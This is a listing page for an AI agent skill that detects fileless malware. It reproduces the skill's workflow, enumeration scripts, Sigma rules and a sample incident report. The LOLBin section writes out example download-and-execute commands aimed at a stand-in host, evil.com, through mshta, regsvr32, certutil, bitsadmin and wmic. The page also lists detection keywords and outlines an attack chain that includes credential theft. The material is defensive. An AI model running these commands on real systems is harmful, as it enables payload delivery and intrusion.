Agent skill

Detecting Fileless Malware Techniques

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing…

Apache-2.0Auto-check passedSecurity

Install Detecting Fileless Malware Techniques

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-fileless-malware-techniques --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/detecting-fileless-malware-techniques .claude/skills/detecting-fileless-malware-techniques && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
detecting-fileless-malware-techniques
GitHub stars
34k
Token cost
~4.2k tokens
SKILL.md length
709 words
Files
5 (incl. scripts, references)
Skills in repo
644
Repo updated
First seen
Licence
Apache-2.0

At a glance

Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing…

  • Works in 6 steps: Identify LOLBin Usage → Detect WMI-Based Persistence → Detect Registry-Resident Payloads → …
  • Requests involving fileless threat detection
  • SKILL.md covers When to Use, Windows Defender / Antivirus…, Prerequisites and Workflow, plus 4 more sections
  • Runs Python scripts from its folder; calls python3; reaches schemas.microsoft.com

What it does

Detecting Fileless Malware Techniques is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.

Its SKILL.md is about 4.2k tokens, which your agent loads only when the skill is triggered. The skill folder holds 6 other files, including scripts and reference files (for example `references/api-reference.md` and `scripts/agent.py`).

It sits in Security. It works with PowerShell and .NET. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Requests involving fileless threat detection
  • In-memory malware investigation
  • LOLBin abuse analysis
  • WMI persistence examination

Example prompts

  • “Use the detecting-fileless-malware-techniques skill to detect and analyzes fileless malware that operates entirely in memory using PowerShell, WMI…”
  • “/detecting-fileless-malware-techniques”

Requirements

  • Python 3

Workflow steps

6 steps, taken from the step headings in SKILL.md.

  1. Identify LOLBin Usage
  2. Detect WMI-Based Persistence
  3. Detect Registry-Resident Payloads
  4. Analyze Memory for Fileless Artifacts
  5. Build Comprehensive Detection Rules
  6. Document Fileless Attack Chain

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 1 file in scripts/ (Python), which the agent can run.

    Shell commands in SKILL.md call:

    • python3

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • schemas.microsoft.com

    Also links to:

    • lolbas-project.github.io

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Detecting Fileless Malware Techniques loads about 4.2k tokens when it runs, and up to ~4.9k if it reads all its reference files. Until then it costs about 104 tokens; SKILL.md has 709 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~104
When it runs · the whole SKILL.md, loaded when a task matches
~4.2k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~4.9k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 709 words, ~4,164 tokens.

Download SKILL.mdSave it as .claude/skills/detecting-fileless-malware-techniques/SKILL.md (or your agent's skills folder). This skill also uses 4 other files; get the full folder from GitHub.
name
detecting-fileless-malware-techniques
description
Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.
domain
cybersecurity
subdomain
malware-analysis
tags
malware, fileless, LOLBins, memory-analysis, detection
version
1.0.0
author
mahipal
license
Apache-2.0
d3fend_techniques
Executable Denylisting, Execution Isolation, File Metadata Consistency Validation, Content Format Conversion, File Content Analysis
nist_csf
DE.AE-02, RS.AN-03, ID.RA-01, DE.CM-01
mitre_attack
T1027, T1055, T1059, T1112, T1140, T1218, T1497, T1546, T1547

Detecting Fileless Malware Techniques

When to Use

  • EDR alerts indicate suspicious behavior from trusted system binaries (PowerShell, mshta, wmic, regsvr32)
  • Investigating attacks that leave no traditional malware files on disk
  • Analyzing WMI event subscriptions, registry-stored payloads, or scheduled task abuse for persistence
  • Building detection rules for LOLBin (Living Off the Land Binary) abuse in enterprise environments
  • Memory forensics reveals malicious code but no corresponding files exist on the filesystem

Do not use for traditional file-based malware; standard static and dynamic analysis methods are more appropriate for disk-resident malware.

Windows Defender / Antivirus False Positive

Some endpoint antivirus products — notably Windows Defender (signature Trojan:script/Wacatac.H!ml) — may quarantine this skill's SKILL.md as malicious. This is a known false positive: the file intentionally documents fileless attack patterns (LOLBins, encoded PowerShell, memory YARA indicators) for defensive detection and investigation. The content is educational only; it does not execute code.

If quarantined: restore the file from quarantine, add an exclusion for your local agent skills directory, and see GitHub issue #100 for discussion. YARA strings live in references/yara-fileless-powershell.yar (not inline in this file) to reduce scanner triggers while preserving the rule for analysts.

Prerequisites

  • Sysmon installed and configured with comprehensive logging (process creation, WMI events, registry changes)
  • PowerShell Script Block Logging and Module Logging enabled
  • Volatility 3 for memory forensics of fileless malware artifacts
  • Process Monitor (ProcMon) for real-time system activity monitoring
  • Windows Event Log access with adequate retention policies
  • Autoruns for identifying persistence mechanisms

Workflow

Step 1: Identify LOLBin Usage

Detect abuse of legitimate Windows binaries for malicious purposes:

Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
  Abuse: Execute HTA files with embedded VBScript/JScript
  Example: mshta http://evil.com/payload.hta
  Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
  Detect: mshta.exe with URL argument or vbscript: prefix

regsvr32.exe:
  Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
  Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
  Detect: regsvr32.exe with /i: URL parameter

certutil.exe:
  Abuse: Download files, decode Base64
  Example: certutil -urlcache -split -f http://evil.com/payload.exe
  Example: certutil -decode encoded.txt payload.exe
  Detect: certutil.exe with -urlcache or -decode arguments

rundll32.exe:
  Abuse: Execute DLL functions, JavaScript
  Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
  Detect: rundll32.exe with javascript: argument

wmic.exe:
  Abuse: Execute code via XSL stylesheets
  Example: wmic process get brief /format:"http://evil.com/payload.xsl"
  Detect: wmic.exe with /format: URL parameter

bitsadmin.exe:
  Abuse: Download files via BITS
  Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
  Detect: bitsadmin.exe with /transfer or /addfile to external URL

cmstp.exe:
  Abuse: Execute commands via INF file
  Example: cmstp.exe /ni /s payload.inf
  Detect: cmstp.exe execution from non-standard locations
Step 2: Detect WMI-Based Persistence

Analyze WMI event subscriptions used for fileless persistence:

bash
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list

# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
python
# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET

# WMI Event Filter creation (EID 19)
result = subprocess.run(
    ["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
     "/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
    capture_output=True, text=True
)

ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
    if not event_xml.strip():
        continue
    try:
        root = ET.fromstring(event_xml + "</Event>")
        eid = root.find(".//e:System/e:EventID", ns).text
        data = {}
        for d in root.findall(".//e:EventData/e:Data", ns):
            data[d.get("Name")] = d.text

        if eid == "19":
            print(f"[!] WMI Filter Created: {data.get('Name')}")
            print(f"    Query: {data.get('Query')}")
        elif eid == "20":
            print(f"[!] WMI Consumer Created: {data.get('Name')}")
            print(f"    Type: {data.get('Type')}")
            print(f"    Destination: {data.get('Destination')}")
        elif eid == "21":
            print(f"[!] WMI Binding Created")
            print(f"    Consumer: {data.get('Consumer')}")
            print(f"    Filter: {data.get('Filter')}")
    except:
        pass
Step 3: Detect Registry-Resident Payloads

Find malicious code stored in the Windows Registry:

bash
# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s

# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul

# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64

suspicious_keys = [
    (winreg.HKEY_CURRENT_USER, r"Software"),
    (winreg.HKEY_LOCAL_MACHINE, r"Software"),
]

def scan_registry(hive, path, depth=0):
    if depth > 3:
        return
    try:
        key = winreg.OpenKey(hive, path)
        i = 0
        while True:
            try:
                name, value, vtype = winreg.EnumValue(key, i)
                if isinstance(value, str) and len(value) > 500:
                    # Check for Base64-encoded content
                    try:
                        decoded = base64.b64decode(value[:100])
                        print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
                    except:
                        pass
                    # Check for PowerShell keywords
                    if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
                        print(f"[!] PowerShell in registry: {path}\\{name}")
                i += 1
            except WindowsError:
                break
        # Recurse into subkeys
        j = 0
        while True:
            try:
                subkey = winreg.EnumKey(key, j)
                scan_registry(hive, f"{path}\\{subkey}", depth + 1)
                j += 1
            except WindowsError:
                break
    except:
        pass

for hive, path in suspicious_keys:
    scan_registry(hive, path)
PYEOF
Step 4: Analyze Memory for Fileless Artifacts

Use memory forensics to find in-memory-only malware:

bash
# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind

# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"

# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"

# Scan for known fileless frameworks
# YARA rule lives in references/yara-fileless-powershell.yar (kept separate to reduce AV false positives)
vol3 -f memory.dmp yarascan.YaraScan --yara-file /path/to/yara-fileless-powershell.yar

# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
# Search memory strings for common fileless indicators (encoded commands, cradles, reflection)
strings memory.dmp | grep -iE 'encodedcommand|downloadstring|invoke-expression|\.reflection\.'
Step 5: Build Comprehensive Detection Rules

Create detection content for fileless techniques:

yaml
# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
    category: process_creation
    product: windows
detection:
    selection_mshta:
        Image|endswith: '\mshta.exe'
        CommandLine|contains:
            - 'http'
            - 'vbscript:'
            - 'javascript:'
    selection_certutil:
        Image|endswith: '\certutil.exe'
        CommandLine|contains:
            - '-urlcache'
            - '-decode'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '/i:http'
    selection_wmic:
        Image|endswith: '\wmic.exe'
        CommandLine|contains: '/format:http'
    condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
yaml
# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID:
            - 19  # WMI EventFilter
            - 20  # WMI EventConsumer
            - 21  # WMI FilterConsumerBinding
    condition: selection
level: medium
Step 6: Document Fileless Attack Chain

Map the complete fileless attack lifecycle:

Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
  Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
  OR Web exploit -> regsvr32/certutil (scriptlet download)

Phase 2 - Execution:
  PowerShell downloads and executes script in memory
  .NET Assembly.Load() for reflective loading
  WMI process creation for lateral movement

Phase 3 - Persistence:
  WMI event subscription (survives reboots)
  Registry-stored encoded payload (loaded by Run key)
  Scheduled task executing inline PowerShell

Phase 4 - Privilege Escalation:
  PowerShell with Invoke-Mimikatz (in-memory credential theft)
  Named pipe impersonation via WMI

Phase 5 - Lateral Movement:
  WMI remote process creation (no file transfer needed)
  PowerShell remoting (WinRM)
  PsExec via WMI

Phase 6 - Exfiltration:
  PowerShell HTTP POST to C2
  DNS tunneling via Invoke-DNSExfiltration
  Cloud storage API (OneDrive, Google Drive)

Key Concepts

TermDefinition
Fileless MalwareMalware operating entirely in memory or within legitimate system tools without creating traditional executable files on disk
LOLBins (Living Off the Land Binaries)Legitimate system binaries (mshta, regsvr32, certutil) abused by attackers to execute malicious code while evading application whitelisting
WMI Event SubscriptionWindows Management Instrumentation persistence mechanism using event filters, consumers, and bindings to execute code on system events
Registry-Resident PayloadMalicious code stored as encoded data in Windows Registry values, loaded and executed by a small stub in a Run key
Reflective LoadingLoading .NET assemblies or PE files from byte arrays in memory using Assembly.Load() without writing to disk
In-Memory ExecutionRunning code directly in RAM without creating files, leveraging process injection, reflective loading, or script interpreters
Script Block LoggingWindows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility
Show full SKILL.md (245 more words)Show less

Tools & Systems

  • Sysmon: System Monitor providing detailed event logging for process creation, WMI events, registry changes, and network connections
  • Autoruns: Sysinternals tool showing all auto-start locations including WMI subscriptions, scheduled tasks, and registry entries
  • Volatility: Memory forensics framework for detecting in-memory code, injected processes, and fileless malware artifacts
  • Process Monitor: Real-time monitoring of file system, registry, and process activity for observing fileless attack behavior
  • LOLBAS Project: Community-documented catalog of LOLBin abuse techniques at https://lolbas-project.github.io/

Common Scenarios

Scenario: Investigating a Fileless Attack Using WMI Persistence

Context: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.

Approach:

  1. Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism
  2. Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload
  3. Decode the PowerShell command (typically Base64-encoded with -enc flag)
  4. Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload
  5. Analyze memory dump for reflectively loaded assemblies and injected code
  6. Check registry for additional stored payloads referenced by the PowerShell script
  7. Map the complete attack chain from initial access through persistence and lateral movement

Pitfalls:

  • Not having Sysmon WMI event logging enabled (Events 19/20/21) before the incident
  • Rebooting the system before capturing a memory dump (destroys in-memory evidence)
  • Focusing only on file-based IOCs when the attack is entirely fileless
  • Missing the initial access vector because the LOLBin execution left minimal traces

Output Format

FILELESS MALWARE ANALYSIS REPORT
===================================
Incident:         INC-2025-2847
Attack Type:      Fileless (no malware files on disk)

INITIAL ACCESS
Vector:           Phishing email with macro-enabled document
LOLBin Chain:     WINWORD.EXE -> mshta.exe -> powershell.exe

PERSISTENCE MECHANISM
Type:             WMI Event Subscription
Filter Name:      WindowsUpdateCheck
Filter Query:     SELECT * FROM __InstanceModificationEvent WITHIN 300
                  WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer:         CommandLineEventConsumer
Command:          powershell.exe -nop -w hidden -enc <BASE64_UTF16LE_PAYLOAD>

DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42

REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script

MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
  - CobaltStrike beacon detected via YARA
  - C2: hxxps://185.220.101[.]42/updates

EXTRACTED IOCs
C2 IP:            185.220.101[.]42
WMI Filter:       WindowsUpdateCheck
Registry Path:    HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc

MITRE ATT&CK
T1059.001  PowerShell
T1546.003  WMI Event Subscription
T1218.005  Mshta
T1112      Modify Registry
T1055.012  Process Hollowing

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 4 other files (scripts, references) in skills/detecting-fileless-malware-techniques of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • references/api-reference.md
  • references/yara-fileless-powershell.yar
  • scripts/agent.py

Open the folder on GitHubat commit 54a7988

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Windows Av Evasionyaklang/hack-skills2.4k—~2.9kAutomated safety check: PassMIT
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Questions about Detecting Fileless Malware Techniques

What does Detecting Fileless Malware Techniques do?

Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing…. Detecting Fileless Malware Techniques is an agent skill from mukul975/Anthropic-Cybersecurity-Skills.NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk.

When should I use Detecting Fileless Malware Techniques?

Detecting Fileless Malware Techniques fits situations like: requests involving fileless threat detection; in-memory malware investigation; LOLBin abuse analysis; WMI persistence examination.

How do I install Detecting Fileless Malware Techniques in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a claude-code`. Or copy the skill folder (skills/detecting-fileless-malware-techniques in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/detecting-fileless-malware-techniques in your project. Claude Code loads it when a task matches its description.

How do I install Detecting Fileless Malware Techniques in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a codex`. Or copy the skill folder (skills/detecting-fileless-malware-techniques in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/detecting-fileless-malware-techniques in your project. Codex loads it when a task matches its description.

Can I use Detecting Fileless Malware Techniques in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/detecting-fileless-malware-techniques, .gemini/skills/detecting-fileless-malware-techniques, .github/skills/detecting-fileless-malware-techniques and .opencode/skills/detecting-fileless-malware-techniques in your project.

What does Detecting Fileless Malware Techniques need to run?

Going by SKILL.md and its folder, Detecting Fileless Malware Techniques needs Python for the scripts in its folder and the command-line tools its instructions call (python3). Our summary lists: Python 3.

Does Detecting Fileless Malware Techniques access the network?

SKILL.md names 2 domains. In commands or code: schemas.microsoft.com; the agent is likely to contact it when it follows the instructions. As links in the text: lolbas-project.github.io. This is read from the text; nothing was executed.

Is Detecting Fileless Malware Techniques safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Detecting Fileless Malware Techniques use?

Detecting Fileless Malware Techniques is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Detecting Fileless Malware Techniques use?

About 4.2k tokens (SKILL.md is roughly 17k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 770 tokens, read only when the agent opens those files.

What are the alternatives to Detecting Fileless Malware Techniques?

Skills that share tags, products or a category with Detecting Fileless Malware Techniques: Ctf Malware (ljagiello/ctf-skills, 3.4k stars), Windows Av Evasion (yaklang/hack-skills, 2.4k stars), Copilot Session Failure Analysis (dotnet/maui, 23k stars) and Evaluate PR Tests (dotnet/maui, 23k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Detecting Fileless Malware Techniques?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 33,993 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.